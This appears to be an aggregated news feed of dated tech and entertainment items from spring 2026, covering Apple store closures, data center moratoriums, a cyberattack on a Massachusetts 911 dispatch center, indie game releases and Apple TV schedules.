Apple will permanently close three of its retail stores in the United States in June. The affected locations include Apple Trumbull in Connecticut, Apple North County in California, and Apple Towson Town Center in Maryland. The decision reflects changing conditions in the malls where these stores operate. Apple confirmed the move in a statement shared with MacRumors. The company said it regularly reviews store locations to ensure it meets customer needs effectively. Apple stated, “At Apple, we are constantly striving to deliver exceptional service and great experiences for our customers. As we continue investing to expand and enhance our retail stores and offerings worldwide, we remain deliberate about evaluating our existing locations to ensure that we can meet our customers' needs in the best way.” Apple also added, “Following the departure of several retailers and declining conditions at Trumbull Mall, the Shops at North County, and Towson Town Center, we've made the difficult decision to close our stores at these locations.” Several major brands have already left these malls. Retailers like Banana Republic, Madewell, and Tommy Bahama recently exited Towson Town Center. Trumbull Mall also faced financial issues after defaulting on a large loan, and the North County mall changed ownership due to declining business. Apple said employees at the Trumbull and North County stores will move to nearby locations. Workers at Towson Town Center can apply for other roles within the company under their union agreement. Notably, Towson Town Center employees became the first Apple retail workers in the U.S. to unionize in 2022 under IAM CORE. Despite these closures, Apple continues to expand globally. The company has opened 11 new stores since early 2025 and upgraded several locations worldwide. Apple reported record revenue last quarter, showing that these closures are part of a retail strategy shift rather than a sign of financial trouble.

Three Apple Stores closing in June, one was unionized

Thu, 09 Apr 2026 19:37:46 +0200

Three Apple Store locations in struggling malls are set to close permanently as summer kicks off, with one of them the controversial unionized store in Towson, Maryland.

Apple Trumbull | Image Credit: Apple

The stores in question are Apple North County, in Escondido, California, Apple Trumbull in Trumbull, Connecticut, and Apple Towson Town Center in Towson, Maryland. Notably, Apple Towson was Apple's first unionized store.

Most employees will be shifted to nearby locations with no further action required by the employee, provided they agree to stay with the company. The unionized Towson employees will be eligible to apply for open roles at Apple, as per the existing bargaining agreement.

Continue Reading on AppleInsider | Discuss on our Forums

1000xResist devs reveal their wild-looking second game about convincing an AI it's not human

Thu, 09 Apr 2026 19:02:01 +0200

Developer Sunset Visitor just revealed its follow-up to the fantastic 1000xResist. It's called Prove You're Human and looks to wade in similar sci-fi waters as the team's first title.

Just like 10000xResist, the new game is a narrative adventure set in the far future. Prove You're Human tasks players with convincing an AI product that its not alive, but there's a rub. The protagonist is a digital clone of a person, so they aren't human either. This will no-doubt lead to all manner of ethical conundrums.

"An AI dares to dream she is human," a tagline reads. "You've been hired to put her in her place."

The gameplay looks to involve scanning the environment, talking to corporate employees and keeping up with the digital clone's corporeal body. There's also an emphasis on making and solving CAPTCHAs, which makes sense when trying to prove humanity or a lack thereof.

The graphics certainly look unique, as the dev team has weaved real-world footage of Vancouver and the surrounding areas into the virtual landscape. "Vancouver is a well-known film town," Remy Siu, Founder of Sunset Visitor said in a press release. "We’re accessing that infrastructure, along with our long-time collaborators, to bring a sense of tactility to human forms in the game."

We don't know when this is coming out, as the above trailer is just an announcement for the game. However, it's already available to wishlist on Steam.

This is actually a pretty big deal. 1000xResist was a bona-fide sensation and was nominated for a Hugo Award. It also managed to win a Peabody Award, which honors excellence in storytelling.

This article originally appeared on Engadget at https://www.engadget.com/gaming/1000xresist-devs-reveal-their-wild-looking-second-game-about-convincing-an-ai-its-not-human-170018986.html?src=rss

Apple to Close Two Retail Stores in California and Australia for Renovations

Thu, 09 Apr 2026 18:09:37 +0200

Apple will temporarily close its Victoria Gardens retail store in Rancho Cucamonga, California, starting the evening of April 11 as the company prepares the location for renovations, and the store will remain shut until fall, with no exact reopening date confirmed yet. The company plans to continue serving customers in the same shopping area, as it will open a temporary Apple Store nearby at 12501 N Mainstreet, Suite 3610, in a unit previously occupied by Athleta, so visitors can still access Apple products and support without leaving Victoria Gardens. Apple first opened the Victoria Gardens store in September 2004, and the upcoming renovation suggests the company wants to update the space to match its newer retail design, while also likely preparing for increased foot traffic later this year around major product launches. Apple will also close its Chermside store near Brisbane starting April 29, and while the company has not shared a reason, the timing suggests another renovation project, as that store originally opened in November 2009. Meanwhile, Apple Trumbull in Connecticut and Apple Towson Town Center in Maryland will open later than usual on April 9, possibly due to internal meetings affecting store hours for the day.

The Boys: Wo sind die Charaktere aus "Gen V" in Staffel 5 abgeblieben?

Wed, 08 Apr 2026 19:32:26 +0200

"The Boys" are Back in Town! Mit der fünften Staffel meldet sich die Superheldensatire zurück. Viele Fanlieblinge sind zurück, aber was ist mit den Supes aus dem Spin-off "Gen V"? Dieser Artikel wurde einsortiert unter TV-Serie / Webserie, Amazon Prime Video, Entertainment, Serien, The Boys: Staffeln und Episodenguide zu Amazons Serien-Adaption der blutigen Comics!, Neu bei Amazon Prime Video: Diese Film- und Serienhighlights erwarten euch im April 2026, Amazon Prime Video.

When Flock Comes to Town: Why Cities Are Axing the Controversial Surveillance Technology

Wed, 08 Apr 2026 12:47:27 +0200

Flock Safety surveillance equipment is appearing in neighborhoods across the country. I spoke with experts about the tech, laws and privacy issues at play.

Roadtripping with ChatGPT Voice Mode

Tue, 07 Apr 2026 21:53:40 +0200

On Saturday, my wife Jennifer and I drove to Blowing Rock, a quaint little town in the Blue Ridge Mountains. We’d been there once before, but didn’t know the town well, so as we headed west I poked at the ChatGPT icon on my dashboard to give the app’s new CarPlay integration a try. I […]

Movie tracking app Binge uses Apple's Live Activities to warn about jump scares

Tue, 07 Apr 2026 21:02:24 +0200

There's a new movie tracking app in town, with a twist for squeamish horror fans. Binge leverages Apple's Live Activities feature to warn viewers about jump scares in horror movies.

This seems to work rather simply. Users open the app when starting a movie and Apple devices will display warnings on the lock screen ahead of frightening scenes. The settings can be adjusted to only warn about major jump scares and the like, leaving viewers vulnerable to some of the smaller terrors.

However, the app doesn't integrate with any streaming services. It only knows a movie starts because a button has been tapped. This means that people will have to notify the app when taking a bathroom break or making popcorn, lest the timing of the notifications get all messed up. This information can also be accessed via a timeline.

Binge

Binge is also vying to become an all-in-one movie tracking app, like Letterboxd and JustWatch. So it provides details about the cast and crew of movies and shows, along with reviews, awards, runtimes and other basic information. It also tracks which streaming platforms are home to a specific piece of content, which is handy as stuff tends to move around a lot in this modern age.

Binge

Finally, there's a set of tools for parents that pulls data from external sites like Rotten Tomatoes. This displays if a movie or show has violence, sexual content, profanity or drug use.

The app is free to download, but access to jump scare warnings requires a paid subscription. This costs $2 per month or $18 each year. There's also a lifetime subscription for $50. It's available for iPhones, iPads and Macs.

Binge isn't the only way to track scary scenes ahead of time, but it is the only tool that integrates with Apple's Live Activities platform. Forget jump scares. I want an app to warn me about the super gory scenes when watching The Pitt. Those makeup artists are top-tier.

This article originally appeared on Engadget at https://www.engadget.com/apps/movie-tracking-app-binge-uses-apples-live-activities-to-warn-about-jump-scares-184840127.html?src=rss

Two New England states say no to new data centers

Mon, 06 Apr 2026 18:05:09 +0200

For some time there’s been a growing rebellion by residents to proposed data center construction projects, but by and large these have been driven by citizens. Maine, however, has become the 1st state to press pause on new data center construction.

The Wall Street Journal reports the proposed law would pause new projects of 20 megawatts or more until November 2027 while the state studies the effects on the environment and the electric grid.

The bill passed the Maine House last month with bipartisan support and is expected to clear the Senate. Gov. Janet Mills reportedly backs a moratorium, though her office also supports an exception for one planned project in Jay, Maine.

Meanwhile, just down Interstate 95 in Rhode Island, the town of Smithfield is also preparing to ban the construction of data centers in the town. The Town Council was given a thumbs up by the town Planning Board to a proposed ban on data centers in Smithfield.

The ordinance also proposes a two-year period for the board or council to review it. With the ordinance in place, a developer could approach the town with a data center but would need to request a use variance.

The moves reflect a rebellion against data centers from citizens to local governments. Lawmakers in at least 11 states have introduced temporary data center moratorium bills this session, according to Stateline.

It’s getting harder and harder for governments to ignore the impact that data centers are having on their communities, consuming vast amounts of water and driving up electricity prices, experts say.

According to a Pew Research Center analysis, data centers consumed 183 terawatt-hours of electricity in 2024, more than 4% of total U.S. electricity use. That demand is projected to more than double to 426 terawatt-hours by 2030. The impact is significant. In 2023, data centers consumed about 26% of Virginia’s electricity supply, although Virginia is notable for having an extremely dense collection of data centers.

Alan Howard, senior analyst for infrastructure at Omdia, says he is not surprised at all. “The amount of national press coverage regarding what is arguably a limited number of data center ‘horror’ stories has many jurisdictions and states spooked over the potential impacts data center projects might have,” he said.

It’s an evolution that’s been coming for some time whereby local legislators have embraced the idea that they don’t want to learn the hard way as others already have, he argues.

“All that said, it seems unlikely that there will be broad bans on data center development that would cripple the industry. There’s lots of places to go in the U.S. and developers have warmed up to siting projects in places amenable to their needs, although not ideally convenient,” said Howard.

Cyberattack Disrupts Massachusetts Emergency Dispatch, 911 Services Remain Active

Mon, 06 Apr 2026 11:35:25 +0200

A Massachusetts emergency cyberattack has temporarily disrupted the operations of the Patriot Regional Emergency Communications Center, affecting several small towns in northern Massachusetts. The breach, which began on Tuesday, has compromised town and public safety computer systems, though 9-1-1 emergency phone lines remain operational. Non-emergency and business phone lines, however, are currently out of service. The Patriot Regional Emergency hub serves as a central dispatch point for multiple towns, including Pepperell, Ashby, Dunstable, and Groton. Based in Pepperell, the center coordinates emergency responses by relaying calls to local police, fire, and medical services. Officials confirmed that they are working closely with IT vendors to investigate the cyberattack and restore full functionality. “Patriot Regional Emergency Communications Center is actively assessing the situation and implementing recovery measures,” the official report stated. “Our priority remains ensuring that emergency services continue without interruption while resolving the technical issues.”

The Aftermath of the Massachusetts Emergency Cyberattack

Despite the cyberattack, the Pepperell Police and Fire departments continue responding to 911 calls. Mutual aid agreements with neighboring towns allow other emergency services in Ashby, Dunstable, and Groton to communicate with the Patriot Regional Emergency Center using standard channels. Residents are urged to reserve 911 calls for true emergencies. For non-emergency issues, business lines can be reached at 978-433-2424. The town of Pepperell also noted the importance of the CodeRED system, an emergency notification platform that allows municipal officials to send time-sensitive alerts to residents and businesses. Messages can be delivered via telephone, cell phone, text message, or email and can target specific neighborhoods or the entire town. Only authorized personnel have access to the system, ensuring controlled communication during crises.

Technology Enhancements in Emergency Response

The Patriot Regional Emergency Center has integrated GPS technology into 911 cell phone calls, enabling dispatchers to pinpoint the caller’s exact location. While some calls may initially route to regional dispatch centers rather than local departments in Pepperell, Ashby, Dunstable, and Groton, GPS tracking ensures faster response times once the call is redirected. The Communications Department reiterated the importance of using 911 strictly for emergencies. Additionally, alternative numbers such as 978-433-2671 support TTY calls for the hearing impaired. Voice over Internet Protocol (VoIP) users can also access emergency services directly, complying with FCC mandates to ensure accurate call location tracking. Residents are encouraged to confirm VoIP emergency capabilities by contacting the department through business lines.

Community Outreach Through CodeRED

The ongoing cyberattack highlights the importance of having reliable backup notification systems. Through CodeRED, the Patriot Regional Emergency network can alert residents in Pepperell, Ashby, Dunstable, and Groton about a variety of emergencies, including severe weather events, public safety threats, evacuation orders, AMBER alerts, and other critical updates. Town officials encourage all residents to register or verify their phone numbers to ensure they receive timely notifications. Officials stressed that while the Massachusetts emergency cyberattack has temporarily disrupted routine communication systems, emergency response capabilities remain intact. Recovery efforts are ongoing, and the public is being kept informed through official town channels.

Super Meat Boy 3D, coin-pushing chaos and other new indie games worth checking out

Sat, 04 Apr 2026 13:17:20 +0200

Welcome to our latest roundup of what's going on in the indie game space. As ever, we've got a whole bunch of new games for you to dive into this weekend, along with announcements and updates on several others that are coming down the pike.

I love how spoiled we are for game showcases these days, and I'm really looking forward to the latest installment of the indie-focused Triple-i Initiative at noon ET on April 9 as the first two editions were really strong. The trailer for this one features the likes of Cairn, Warhammer Survivors (the Warhammer-themed Vampire Survivors spinoff), the excellent CloverPit, Final Sentence and Far Far West. The organizers are promising to share release dates and gameplay reveals. Expect to see eight game announcements here too.

Summer Game Fest is fast approaching. That means the mid-year edition of Day of the Devs, one of the biggest indie game showcases around, isn't too far away. Developers still have a chance to be featured in the show. Submissions for Day of the Devs: Summer Game Fest Digital Showcase are open, but you'll need to hurry if you're ready to shoot your shot at being included. The deadline for submissions is this Monday, April 6.

Meanwhile, I’d normally write about notable ports in the new releases section of this roundup, but there was no trailer for this, so I'll mention it here. Before its success with Peak last year, Landfall also scored a hit with Content Warning on PC (making it free for the first 24 hours didn't hurt!). Now, this friendslop game is out on PS5, Xbox One, Xbox Series X/S, Xbox on PC, Nintendo Switch and Switch 2 for $10. Landfall added cross-play to the Steam version as well.

New releases

A sequel to an all-time indie classic dropped this week, and it took the squishy protagonist of the series to another dimension. Like its predecessors, Super Meat Boy 3D is a tough precision platformer. You'll need to guide the titular meat cube past saws, shredders, burning forests, laser-guided rockets, enemies and other obstacles. There are boss fights too. A mistake spells a quick trip back to the beginning of the level. Meat Boy does have an air dash this time around, though.

I played through the first world and Sluggerfly and Team Meat haven't changed the base formula too much. The additional dimension and fixed perspective make platforming a little trickier. When there's a gap while I'm running across a wall, for instance, I might forget to stop pressing up while I'm crossing the hole, causing Meat Boy to disappear into the void. I found it easier to control him with the D-pad than a thumbstick, for what it's worth.

You can try it for yourself right now as Super Meat Boy 3D, from publisher Headup, is available on Steam, Epic Games Store, GOG, PlayStation 5, Xbox Series X/S and Nintendo Switch 2 for $25. There's a 10 percent launch discount on PC, and it's on Xbox Game Pass Ultimate, Xbox Game Pass for Console and PC Game Pass.

I really enjoyed the Raccoin demo, so I'm bummed that I haven't had much of a chance to jump into the full game yet. I have some other things on my plate at the minute (more on some of those next week!). When I do have time to properly sit down with Raccoin, though, I may just lose the rest of the month to it.

Raccoin is a roguelike deckbuilder in the vein of games like Balatro and CloverPit. Instead of racking up giant scores in spins on poker or one-armed bandits, the action here takes place in a coin pusher. The aim, as ever, is to find wild synergies between special coins and items to break the rules and earn enough points to keep moving forward. I'm excited to experiment with a much larger box of tools in the full game.

Raccoin, from Doraccoon and Balatro publisher Playstack, is out now on Steam. It'll usually cost $12, but there's an 18 percent discount until April 7.

I've only played around an hour of Tombwater, but I'm really digging this game from Moth Atlas and Midwest Games. It's a 2D, eldritch horror Western Soulslike. It feels like Bloodborne meets The Legend of Zelda: A Link To The Past (there's even a hookshot), by way of Red Dead Redemption.

After a brief prologue, you'll pick a character class and jump right into the action as you search for a former train-robbing partner who has somehow become a sheriff. Enemies are quite varied, and you'll use a mix of melee attacks, firearms and magic to battle them.

Resource management is vital. You restore ammo by dishing out melee damage. The magic meter has an interesting twist too. Using spells too often can send your character spiraling into madness, which can cause hallucinations.

There are lots of hallmarks of the Soulslike genre here. When (not if) you die, you'll leave behind a totem that has all your cash and unused leveling experience. You can destroy this to regain your lost loot, or wait until you've dispatched nearby enemies to do so, as the totem can heal you (helpful in a tough boss battle). You can level up and restore health flasks at campfires.

There's a wonderfully gloomy tone to Tombwater. The lovely pixel art and atmospheric music are spot on so far.

However, I got lost quite a few times — the map didn't help much — and I don't love the way aiming works with a controller or on Steam Deck. You aim by holding the left trigger and fire with the right. But you can only point your weapon in the four cardinal directions, and you need to let go of the left trigger before you can change your aim. That's not a problem with a mouse, as you can aim freely.

I hope Moth Atlas improves controller aiming, since Tombwater is very promising so far. I'm looking forward to playing more when I can.

Tombwater is out now on Steam. It'll typically run you $25, but if you pick it up before April 14, it can be yours for $20.

Corgis in mechs. That's the first thing you need to know about Animalkind, a co-op village-building game. You and your friends can play as corgis (or tuxedo cats or raccoons) in mechs. You'll first need to find the parts to assemble your ancient mech before you can actually pilot the machine, though. Exploring the open world, gathering resources, crafting and recruiting NPCs are all elements of this charming-looking game.

Animalkind is available on Steam for $20, with 10 percent off until April 6. Developer Uncommon Games expects it to remain in early access until 2027. Once again, corgis in mechs.

Hozy is another lovely-looking game — perhaps the title is a portmanteau of "home" and "cozy." The idea behind this home renovation title is that you'll be restoring a neighborhood of abandoned abodes. There are nine locations for you to clean up and decorate.

There are so many nice touches in the trailer, from the robot mop cleaning floors to pulling a new table out a box filled with packing peanuts (on that note, Unpacking hit Apple Arcade this week). The animations for things like laying down floorboards, changing the height of a chair and unfurling a roll of wallpaper are all delightful. The lighting looks great too.

Hozy, from Come On Studio and publisher TinyBuild, is out now on Steam for PC and Mac. It will normally run you $15, but you can save 10 percent if you snap it up by April 6.

"You stay in the warmth of your friends," reads a narrative subtitle as three characters stand on a rooftop, looking out at a cityscape and a multicolored sky. By itself, that shot from the launch trailer was enough to sell me on Fishbowl, a coming-of-age adventure from the two-person team at imissmyfriends.studio and co-publisher Wholesome Games Presents.

I then looked back at a previous trailer, which included the prompt "hydrate?" with the options of "yes, hydrate and live" and "no, dehydrate and die." Shortly afterward, Fishbowl became the latest addition to my Steam library. Funny how that happens.

You'll play as Alo, taking care of her and her home and trying to give her a fulfilling life even as she remains isolated. You'll meet Alo's loved ones and co-workers on video calls, edit video in her work-from-home job and rearrange items in boxes to discover her childhood memories. Learning about Alo's past (with the help of a magical talking fish from her youth) can help you shape Alo's future through you narrative choices. There's a surrealist aspect to this game too.

Fishbowl is out now on Steam for PC and Mac, as well as PS5. It costs $10, though there's a 10 percent discount on Steam until April 16. There's a demo available on both platforms.

Upcoming

Here's a deep dive into gameplay from Nightholme, a survival extraction game from Studio Ellipsis, which is led by Assassin's Creed Revelations and Assassin's Creed Unity creative director Alexandre Amancio. It's coming to Steam and consoles, with a closed beta lined up for this summer.

Each match will have 12 monster hunters. You can run solo or group up with other players. At the start of each match, you load into a camp on the edge of a town full of horrors. Here, you'll drink a potion that turns your character into a monster — three archetypes will be available at the outset.

There are a number of things you can opt to do in each match, from carrying out quests tied to factions, scavenging, defeating enemies and taking out other players to snag their loot. Each match also has a boss that's protecting a high-value item.

The horror aspect makes me more interested in this than many other survival extraction games out there. I'm definitely looking forward to checking this one out.

We've seen a bunch of interesting climbing games over the last few years. You can add another one to the list. Ascenders: Beyond the Peak is a turn-based roguelite in which you'll go exploring with a team of climbers. It seems that you'll encounter Lovecraftian horrors on these mountain, along with dangers like avalanches, blizzards and rockfalls.

You'll have nine character classes to choose from and you can level up your climbers and their gear and skills between runs. While the levels are short, you'll need to be mindful as there's a permadeath element to this game. You might even end up having to sacrifice a member of the party in order to save the rest. Brutal.

Ascenders: Beyond the Peak, from Ludogram Games and publisher Twin Sails Interactive, is coming to PC and consoles. It'll debut in early access on Steam later this year for $20.

Puzzling Places has been a hit on PlayStation and Meta virtual reality platforms, as it has racked up 400,000 players. The 3D jigsaw game will soon be playable without a VR headset for the first time, as it's going to hit Steam on April 9 — it will run on Steam Deck and SteamVR as well. A Steam demo is available now.

There are a wide range of puzzles for you to solve, ranging from 25-piece quick hits to gargantuan 1,000-piece endeavors. Each features animations, including of figures going about their lives. It seems very relaxing!

It's only 86 seconds long, but I felt a lump in my throat as I watched this trailer for The Day I Became a Bird. The visuals, music and story beats got me caught up in my feelings. It's a narrative adventure about a first love. You play as a young lad named Frank who tries to grab the attention of a classmate, bird-lover Sylvia. Designing and wearing a bird costume just might help him do that.

Developer Hyper Luminal Games is based in my hometown, which is yet another reason for me to get on board. I'm not familiar with the children's book — by Ingrid Chabbert and illustrator Guridi — that the game is based on. I kind of want to buy it for my partner's kid... and maybe myself.

The Day I Became a Bird is coming to Steam, PS5 and Nintendo Switch on April 16. The base game costs $20. On Steam and PS5, that version includes a short animated film from Passion Games, which found out about the book and teamed up with Hyper Luminal and publisher Numbskull to make the game. A $25 Feathered Adventurer edition includes the film, a digital artbook and the soundtrack.

This article originally appeared on Engadget at https://www.engadget.com/gaming/super-meat-boy-3d-coin-pushing-chaos-and-other-new-indie-games-worth-checking-out-110000960.html?src=rss

Sri Lanka arrests 152 in alleged Chinese-run cyberscam

Fri, 03 Apr 2026 17:36:59 +0200

Police in Sri Lanka arrested 152 foreign nationals, mostly Chinese, on Friday for allegedly running a cyberscam operation out of a hotel in the island’s northwest, officials said. The raid took place in the coastal town of Chilaw, 80km (50 miles) north of Colombo, following a tip-off, said police spokesman Frederick Wootler. “Those involved in scamming will be dealt with under our criminal law, while others could be deported,” Wootler said. Local police sources said two Chinese men who tried to...

Apple TV Drops Trailer for New Horror-Comedy Series ‘Widow’s Bay’

Thu, 02 Apr 2026 23:52:43 +0200

Apple TV has released the first trailer for Widow’s Bay, a new horror-comedy series that premieres on Wednesday, April 29, 2026. The show follows Mayor Tom Loftis, played by Matthew Rhys, as he tries to revive a struggling island town off the coast of New England, only to find that the town’s old curse stories may be real after all. The setup gives Apple TV another unusual original with a mix of eerie mystery and dry character comedy. The trailer leans into that tone right away, showing a town that looks quiet and remote on the surface, while hinting that something darker has started to wake up. Apple describes the series as genre-bending, and the early footage backs that up. Series details Episodes: 10 Genre: Horror-comedy, mystery Start date: April 29, 2026 Finish date: June 17, 2026 Release pattern: First 3 episodes on April 29, then weekly on Wednesdays, with a special 2-episode drop on May 27 https://www.youtube.com/watch?v=Nmc2RYm6PUE Plot Spoiler-light: Widow’s Bay centers on Tom Loftis, a mayor who wants to turn his isolated island community into a tourist spot and build a better life for his teenage son. The problem is that the town’s residents believe the island is cursed, and once visitors begin arriving, strange events start happening again after years of calm. That points the story toward a mix of local folklore, small-town tension, and a growing supernatural threat. The teaser suggests that the series will play with both fear and absurdity. Tom looks like a man trying to stay practical while the town around him slips deeper into panic, which should give the show its main tension through the season. Apple TV in the U.S. costs $12.99 per month or $129 per year, and new subscribers can get a one-week free trial. With Widow’s Bay arriving at the end of April, Apple clearly sees this as one of its bigger spring releases. What do you plan to watch first when it lands? Let us know in the comments.

Google teams up with gas plant for AI datacenter in sharp turn from climate goals

Thu, 02 Apr 2026 21:02:33 +0200

Texas power plant would emit 4.5m tons of carbon dioxide per year, more than that of the entire city of San Francisco

Google has struck a partnership for a natural gas power plant that could provide energy for one of its datacenters in Texas, unearthed by new research and confirmed by the company. The move is part of an ongoing about-face for the tech giant, which once pledged to be carbon neutral by 2030 and has long been seen as a pioneer in clean energy.

The gas power plant is slated to be built in Armstrong county, a sparsely populated area in the Texas panhandle. According to a report by the research organization Cleanview, the project is being led by Crusoe Energy, which partnered with Google to develop the datacenter campus known as “Goodnight”, named after a nearby town.

Comedy-horror series 'Widow's Bay' to haunt Apple TV on April 29

Thu, 02 Apr 2026 18:39:48 +0200

"Widow's Bay" blends genuine horror with character-driven comedy, creeping onto Apple TV at the end of April.

Image Credit: Apple TV

Set in the idyllic town of the same name, "Widow's Bay" follows Mayor Tom Loftis as he prepares to bolster the town's long-struggling tourism industry. Loftis is ready to battle long-held superstitions to earn the respect of Widow's Bay's citizens, who believe he's a coward.

While he does manage to attract tourists, the victory is hollow. As old horrors bubble to the surface, Loftis learns that the superstitions may have been more than just old wives' tales after all.

Continue Reading on AppleInsider | Discuss on our Forums

Small-Town Mayor Presses AI Company for Data Center Clarity

Thu, 02 Apr 2026 18:33:42 +0200

The Dowagiac, Mich., mayor is demanding an out-of-state company clarify plans to expand a data center in his city, saying the company has only communicated vague details through press releases.

Everything Apple TV has Coming in April 2026: Full Release Schedule

Thu, 02 Apr 2026 14:39:57 +0200

Apple TV has a packed lineup for April 2026, with a mix of returning hit series, new originals, and a major movie premiere led by big names like Jon Hamm, Keanu Reeves, and Elle Fanning. The month also includes ongoing episodes from fan-favorite shows and live sports coverage across baseball, Formula 1, and soccer. The schedule starts early in the month with a returning drama, followed by a high-profile movie, then a steady stream of new series through the end of April. Here’s everything Apple TV has coming in April, along with release dates, cast highlights, and what each title is about. 1. Your Friends & Neighbors (Season 2) Episodes: TBA Start Date: April 3, 2026 Finish Date: Weekly rollout Genre: Drama Plot Jon Hamm returns as Andrew Cooper, who continues his risky life as a suburban thief while trying to protect his family. The situation becomes more dangerous when a new neighbor, played by James Marsden, enters the picture and threatens to expose everything. The story leans deeper into tension, secrets, and the consequences of living a double life. 2. Outcome Duration: Around 84 minutes Release Date: April 10, 2026 Genre: Dark Comedy Plot Keanu Reeves plays Reef Hawk, a famous Hollywood actor whose career is at risk after a mysterious blackmail video surfaces. As his image starts to fall apart, he turns to close friends and a lawyer for help. The film follows his attempt to fix his past mistakes while trying to uncover who is behind the threat. The story mixes humor with a deeper look at fame and public image. 3. Margo’s Got Money Troubles Episodes: 8 (expected) Start Date: April 15, 2026 Finish Date: Weekly after initial release Genre: Comedic Drama Plot Elle Fanning plays Margo, a young woman dealing with unexpected motherhood, financial stress, and a complicated family background. With limited options, she tries to rebuild her life while raising a baby and managing growing expenses. The series focuses on survival, family dynamics, and personal growth in difficult situations. 4. Criminal Record (Season 2) Episodes: TBA Start Date: April 22, 2026 Finish Date: Weekly rollout Genre: Thriller Plot The story returns to London, where detectives June Lenker and Daniel Hegarty investigate a murder tied to political unrest. What starts as a routine case turns into a deeper operation involving a dangerous extremist plot. The series continues its focus on justice, power, and the complexity of truth in modern policing. 5. My Brother the Minotaur Episodes: TBA Start Date: April 24, 2026 Finish Date: Weekly rollout Genre: Kids & Family Plot A young minotaur raised in the human world begins to question his identity after dreaming about his mythical origins. He sets out on an adventure with his brother and friends to understand where he truly belongs. The story blends fantasy with themes of identity and belonging. 6. Widow’s Bay Episodes: Around 10 Start Date: April 29, 2026 Finish Date: Weekly rollout Genre: Horror-Comedy Plot Set in a quiet island town, the series follows Mayor Tom Loftis as he tries to revive the local economy. As tourists begin to arrive, strange and supernatural events start to unfold. The show mixes humor with horror as old legends come back to life, creating chaos in the community. More to watch on Apple TV in April Apple TV will also continue releasing weekly episodes of ongoing series: Shrinking continues through early April The Hunt continues through April The Last Thing He Told Me continues through April Imperfect Women runs through April 29 Monarch: Legacy of Monsters continues into May Sports content also remains active throughout the month, including: Major League Baseball Major League Soccer Formula 1 coverage Final thoughts April brings one of the strongest Apple TV slates in recent months, with a steady mix of drama, comedy, thriller, and family content spread across the entire month. The lineup balances big-name stars with new storytelling, while ongoing shows and sports coverage keep the platform active every week. Apple TV remains priced at $12.99 per month in the US, with a free trial available for new users. Which of these April releases are you planning to watch? Let us know in the comments.

Google Maps Gets Full EV Trip Planning

Mon, 30 Mar 2026 17:31:42 +0200

Google Maps EV trip planning is finally here. For many EV owners, Google Maps has always been a great around-town navigation service, but for road tripping, it’s almost never the choice. Why? Because EV trip planning, where your car knows your battery state, when it’ll need to charge and how long those stops will take,...

Read the original post: Google Maps Gets Full EV Trip Planning

Amazon Gambles on $4B Push Into America's Rural Areas, May Soon Carry More Parcels Than USPS

Sun, 29 Mar 2026 18:53:58 +0200

In many rural areas, America's online shoppers can wait half a week or more for deliveries. But Amazon started a $4 billion "rural delivery push" last year, reports Bloomberg, and has now cut delivery times to under 24 hours for 1 in 5 rural and small-town households, with 48-hour delivery to 62% of rural households. The payoff could be huge. Rural shoppers in the US collectively spend $1 trillion a year on clothing, electronics, household goods and other items, representing about 20% of retail purchases excluding cars and gasoline, according to Morgan Stanley. Amazon aims to recondition those shoppers to expect quick delivery, which would play to its strengths and make the company top-of-mind for online purchases... "Rural America is often overlooked," said Sky Canaves, an analyst at EMarketer Inc. who tracks online sales. "This is the opportunity Amazon is trying to seize because e-commerce growth is getting harder to come by...." Amazon's rural push will require a lot more rural business owners willing to make deliveries... Today, Amazon delivers more parcels overall than UPS and FedEx, which are both shedding workers and shrinking their delivery networks, including in rural areas. By picking up the slack, Amazon is expected to become the largest parcel carrier in the US — surpassing the postal service — in 2028, according to the shipping software company Pitney Bowes. Amazon currently delivers two of three orders itself. For rural shoppers, the most visible change will be fewer brown UPS trucks, fewer packages delivered by mail carriers and more small business owners pulling up in their minivans. Amazon's relationship with America's postal service "has become rocky following a dispute over contract terms," notes the Wall Street Journal. But they also share an interesting calculation by Marc Wulfraat, president of MWPVL International, a supply-chain consultancy monitoring the e-commerce company's logistics network. . At Amazon's current pace of constructing 40 to 50 new delivery hubs each year, he estimates Amazon will be able to ship packages to every single U.S. ZIP Code within four years.

Read more of this story at Slashdot.

The Morning After: Sony and Honda’s debut EV is dead before it even arrived

Fri, 27 Mar 2026 13:17:11 +0100

Honda and Sony announced that they are discontinuing both the Afeela 1 and 2, their electric cars. The company is reviewing its “business direction,” but it's hard to expect much from a car company that’s cancelled all of its cars.

The Afeela 1, casually called the PlayStation Car, was meant to be a fusion of a modern EV and your own digital media bubble. (You could have a God of War-themed dash — if you wanted that.)

Engadget

There’s a wider pressure on Honda, beyond this risky collaboration with Sony. It expects to take a $15.7 billion loss after writing off a large portion of its EV investment. The US’s removal of federal EV tax credits and the imposition of tariffs have hit everything hard.

The Afeela was exciting on paper, but in person, it was a pretty unassuming sedan. And expensive! Rival EV makers were offering more for less. Also: don’t tease a car for six full years. It’s never a good sign. Check out Tim Steven’s editorial on how it all fell apart.

– Mat Smith

The other big stories (and deals) this morning

Meta and YouTube lose social media addiction case

TikTok and Snap settled ahead of the trial. Smart.

A jury in Los Angeles has found that Meta and YouTube were negligent in a closely watched trial over social media addiction. The two companies were ordered to pay $6 million in damages to a woman who said their addictive features harmed her.

For Meta, it's the second legal setback in recent weeks, after a New Mexico jury ruled against it on child safety issues. Meta was ordered to pay $375 million in penalties, making this settlement seem small in comparison. The companies are planning to appeal.

Continue reading.

Sonos Play review

The company's best portable speaker so far.

Engadget

The Sonos Play could be the company’s reset button, a way to remind people what the company does well – and move on from busted updates, expensive gambits and fussy apps. The $299 Play is a portable speaker that sits between the $499 Sonos Move 2 and the $179 Roam 2. The new speaker sounds great, has a wide and versatile feature set and won’t break the bank. We particularly like the inclusion of Bluetooth grouping.

Continue reading.

DJI Avata 360 drone review

There’s a new 360-degree drone in town.

Engadget

DJI responded quickly to Insta360’s debut drone, the Antigravity A1, with the Avata 360. It’s drawn from years of drone experience (and tech from its new Osmo 360 action cam). Compared to the A1, it’s safer to fly around people and offers single-camera OIS 4K footage in addition to 8K 360 video. The 360 video it shoots offers incredible editing flexibility, but overall quality is lower than that of DJI’s other drones. It’s cheaper than its 360 drone rival, too, though US availability remains unclear.

Continue reading.

This article originally appeared on Engadget at https://www.engadget.com/general/the-morning-after-engadget-newsletter-121539576.html?src=rss

RGG's Stranger Than Heaven game will span five time periods

Fri, 27 Mar 2026 13:01:53 +0100

